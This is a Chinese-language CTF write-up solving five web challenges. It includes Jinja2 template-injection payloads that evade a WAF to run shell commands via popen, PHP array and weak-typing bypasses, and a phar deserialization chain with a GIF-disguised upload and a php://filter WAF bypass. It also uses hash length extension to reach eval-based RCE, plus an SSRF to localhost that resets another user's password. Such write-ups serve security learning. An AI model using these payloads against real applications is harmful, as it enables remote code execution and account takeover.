文章目录
- ezphp
- ez_python
- comment_me
- filechecker_revenge
- i_am_eeeeeshili
ezphp
直接数组绕过, 执行命令
GET: usn[]=1&usn1[]=1&sign=env
POST: pwd[]=2&pwd1[]=2
ez_python
file参数任意文件读取
读取源码: ?file=app.py
from flask import Flask, request, render_template_stringfrom flask_limiter import Limiterfrom flask_limiter.util import get_remote_addressimport wafapp = Flask(__name__)# Rate limiting: 300 requests per day, 75 per hourlimiter = Limiter(get_remote_address, app=app, default_limits=["300 per day", "75 per hour"])@app.route('/')@limiter.exempt # Exempt the index route from rate limitingdef index():file_path = request.args.get('file')if file_path and "proc" in file_path:return "只过滤了proc,别想用这个了,去读源码", 200 # Message in Chinese: "Only filtered 'proc', don't think about using this, read the source code"if file_path:try:with open(file_path, 'r') as file:file_content = file.read()return f"{file_content}"except Exception as e:return f"Error reading file: {e}"return "Find the get parameter to read something"@app.route('/shell')@limiter.limit("10 per minute") # Rate limit: 10 requests per minutedef shell():if request.args.get('name'):person = request.args.get('name')if not waf.waf_check(person):mistake = "Something is banned"return mistaketemplate = 'Hi, %s' % personreturn render_template_string(template)some = 'who you are?'return render_template_string(some)@app.errorhandler(429) # Custom handler for 429 Too Many Requestsdef ratelimit_error(e):return "工具? 毫无意义,去手搓", 429 # Message in Chin审计一下代码, 很明显的ssti模板注入, 根据前面的 import waf 可知道存在一个waf文件, 读取它 ?file=waf.pydef waf_check(value):dangerous_patterns = ['os', 'set', '__builtins__', '=', '.', '{{', '}}', 'popen', '+', '__']for pattern in dangerous_patterns:if pattern in value:return Falsereturn True
简单绕过一下就行, 有挺多种方法的
用attr绕过点 . \x5f\x5f 编码绕过__
?name={%print(%22%22|attr(%22\x5f\x5fclass\x5f\x5f%22)|attr(%22\x5f\x5fbase\x5f\x5f%22)|attr(%22\x5f\x5fsubclasses\x5f\x5f%22)()|attr(%22\x5f\x5fgetitem\x5f\x5f%22)(132)|attr(%22\x5f\x5finit\x5f\x5f%22)|attr(%22\x5f\x5fglobals\x5f\x5f%22)|attr(%22\x5f\x5fgetitem\x5f\x5f%22)('po''pen')("cat f1ag_H3re11")|attr("read")())%}
comment_me
h2=1&p={{''['__class__']['__base__']['__subclasses__']()[117]['__init__']['__globals__']['popen']('env')['read']()}}
filechecker_revenge
审计一下代码, 很明显看到class.php存在反序列化, 且存在文件上传的接口, 那么就可以想到是利用phar进行反序列化
<?phpclass file
{public $name;public $data;public $ou;private $mymd5;public function __wakeup(){// TODO: Implement __wakeup() method.if (isset($_COOKIE['md5me']) && isset($_COOKIE['yourname'])){$this->mymd5 = md5(md5(file_get_contents('/flag')).$_COOKIE['yourname']);$yourmd5 = $_COOKIE['md5me'];if ($_COOKIE['yourname'] === "hacker"){$this->data = "you are a hacker";echo "Take your md5 and turn right when you go out. ".$this->mymd5;}else if ($this->mymd5 === $yourmd5){echo "goooooooooooooooooooooooood";}}}public function __call($name, $arguments){return $this->ou->b='asdasdasd';}public function __destruct(){if (@file_get_contents($this->data) == $this->mymd5) {$this->name->function();}}
}class data
{public $a;public $oi;public function __set($name, $value){// TODO: Implement __set() method.$this->yyyou();return "yes";}public function yyyou(){if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $this->oi)){eval($this->oi);}}
}
进行一个反序列化, 进入到__wakeup
魔术方法里面,需要让 $this->mymd5 === $yourmd5
才不会进入到前面的if里面 使data被赋值, 从而使得data参数可控
这里需要用到hash长度扩展攻击, 先让 yourname=hacker
拿到md5值, 再利用工具得到mymd5的值从而绕过
先构造一个phar文件
<?php
class file
{public $name;public $data;public $ou;private $mymd5;public function __wakeup(){// TODO: Implement __wakeup() method.if (isset($_COOKIE['md5me']) && isset($_COOKIE['yourname'])){$this->mymd5 = md5(md5(file_get_contents('/flag')).$_COOKIE['yourname']);$yourmd5 = $_COOKIE['md5me'];if ($_COOKIE['yourname'] === "hacker"){$this->data = "you are a hacker";echo "Take your md5 and turn right when you go out. ".$this->mymd5;}else if ($this->mymd5 === $yourmd5){echo "goooooooooooooooooooooooood";}}}public function __call($name, $arguments){return $this->ou->b='asdasdasd';}public function __destruct(){if (@file_get_contents($this->data) == $this->mymd5) {$this->name->function();}}
}$phar = new Phar("phar1.phar");
$phar->startBuffering();
$phar->setStub('GIF89a' . '<?php __HALT_COMPILER();?>');$a=new file();
$phar->setmetadata($a);
$phar->addFromString("1.txt",'test');
$phar->stopBuffering();
然后因为有waf会检测, 还需要将生成的phar文件后缀改成gif这种图片文件, 然后上传,得到文件路径
upload/8ba2c5cf9cb4d538c3793a25e820ab4a.jpg
index.php
存在一个filepath
参数 , 可以操作进行phar的反序列化, 存在waf
preg_match('/^(ftp|zlib|data|glob|phar|ssh2|compress.bzip2|compress.zlib|rar|ogg|expect)(.|\\s)*|(.|\\s)*(file|data|\.\.)(.|\\s)*/i', $filepath))
用filter 过滤器绕过一下
filepath=php://filter/read=convert.base64-encode/resource=phar://./upload/8ba2c5cf9cb4d538c3793a25e820ab4a.jpg
Cookie也需要有相应的值
Cookie: yourname=hacker;md5me=1
然后就可以拿到这个md值了
219c25bffecaa799cbf37c9838e9c92d
然后接下来就需要hash长度扩展攻击了
得到新hash
612928eb681f7cb638857d11bca68a09
然后就是构造链子进入到eval里面进行 无参数RCE
<?phpclass file
{public $name;public $data;public $ou;private $mymd5;public function __wakeup(){// TODO: Implement __wakeup() method.if (isset($_COOKIE['md5me']) && isset($_COOKIE['yourname'])){$this->mymd5 = md5(md5(file_get_contents('/flag')).$_COOKIE['yourname']);$yourmd5 = $_COOKIE['md5me'];if ($_COOKIE['yourname'] === "hacker"){$this->data = "you are a hacker";echo "Take your md5 and turn right when you go out. ".$this->mymd5;}else if ($this->mymd5 === $yourmd5){echo "goooooooooooooooooooooooood";}}}public function __call($name, $arguments){return $this->ou->b='asdasdasd';}public function __destruct(){if (@file_get_contents($this->data) == $this->mymd5) {$this->name->function();}}
}class data
{public $a;public $oi;public function __set($name, $value){// TODO: Implement __set() method.$this->yyyou();return "yes";}public function yyyou(){if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $this->oi)){eval($this->oi);}}
}$phar = new Phar("phar17.phar");
$phar->startBuffering();
$phar->setStub('GIF89a' . '<?php __HALT_COMPILER();?>');$a=new file();
$a->data='data://text/plain,612928eb681f7cb638857d11bca68a09';
$a->name=new file();
$a->name->ou=new data();
$a->name->ou->oi='if(chdir(chr(ord(strrev(crypt(serialize(array())))))))print_r(scandir(getcwd()));';
//查看根目录$phar->setmetadata($a);
$phar->addFromString("1.txt",'test');
$phar->stopBuffering();
可以看到根目录的情况
然后改一下读取文件
if(chdir(chr(ord(strrev(crypt(serialize(array())))))))show_source(array_rand(array_flip(scandir(getcwd()))));
有点奇怪就是, 好像没读到根目录文件, 读的网站目录的文件, 不过思路差不多就是这样了
i_am_eeeeeshili
登录界面随便输入, 抓包可以看到有个file参数, 尝试文件读取, 发现有限定
那么包含一下flag
if (str_replace("\", "/", __FILE__)== $_SERVER["SCRIPT_FILENAME"]) {header("HTTP/1.0 403 Forbidden");die("前面的区域以后再探索吧!");
}
.........
$client_ip = $_SERVER["REMOTE_ADDR"];
$server_ip = $_SERVER["SERVER_ADDR"];
if ($client_ip === $server_ip) {if(md5($_GET["a"]) === md5($_GET["b"])){if ($_GET["c"] != $_GET["d"] && md5($_GET["c"]) == md5($_GET["d"])){if(substr(md5($_GET["e"]), 0, 5) === "9331c"){$file = fopen("./ffflllaaaggg.php", "w");fwrite($file, "<?php \n echo $flag".";");fclose($file);}}}
} else {$code = '';highlight_string($code);echo '<script>alert("错啦错啦错啦!");</script>';header('Location: login.html');die();
}
限定ip, 可以想到是ssrf, 以及后面还有一些相应的绕过
注册一个账号登录进去看看, 可以发现有一个check网站的, 可以联想到上面的这种ssrf
那么就查看一下flag, 发现又有限制
只能饿饿饿饿饿势力操作, 说明是登录的问题, 要用相应的账号登录才能查看, 而不是我们随便注册的一个账号(感觉这里有点抽象, 账号是eeeeeshil
)
尝试去修改一下eeeeeshil
它的账号密码
$client_ip = $_SERVER["REMOTE_ADDR"];
$server_ip = $_SERVER["SERVER_ADDR"];
if ($client_ip === $server_ip) {if ($_GET["KAF"] !== "1a" && (int)$_GET["KAF"] == "1a"){...}
} else {echo 'xxx'echo '<script>alert("坏蛋改不了一点密码!");</script>';die();
}
php的弱类型比较, 利用登录进去的账号去检测这个url, 绕过第一步限制本地访问
check_http://127.0.0.1/check.php?file=.%2Fmodify&account=eeeeeshili&password=123456&KAF=1
修改密码
然后用这个账户登录进去
后面就是前面那里的一下md5的绕过, 用数组就行, 还有一个就是需要爆破一下, 匹配它的md5的前5位是9331c
check_http://127.0.0.1/check.php?file=./flag&a[]=1&b[]=2&c[]=1&d[]=2&e=2000864773
执行成功之后直接访问文件就行
参考官方wp: https://mp.weixin.qq.com/s?__biz=Mzk0OTUwNTU5Nw==&mid=2247488353&idx=1&sn=8067de08d2a971b51d9a9f23145c3b48&chksm=c206ff7a38b6157c1aa502051dc9e7e833c7c041ff3730e3e2f355174bc16c795756028bd729&mpshare=1&scene=23&srcid=1216KYzAQOs538HwmnvAkiNX&sharer_shareinfo=2de827c3a0748f7d4fe1865d00de5b65&sharer_shareinfo_first=2de827c3a0748f7d4fe1865d00de5b65#rd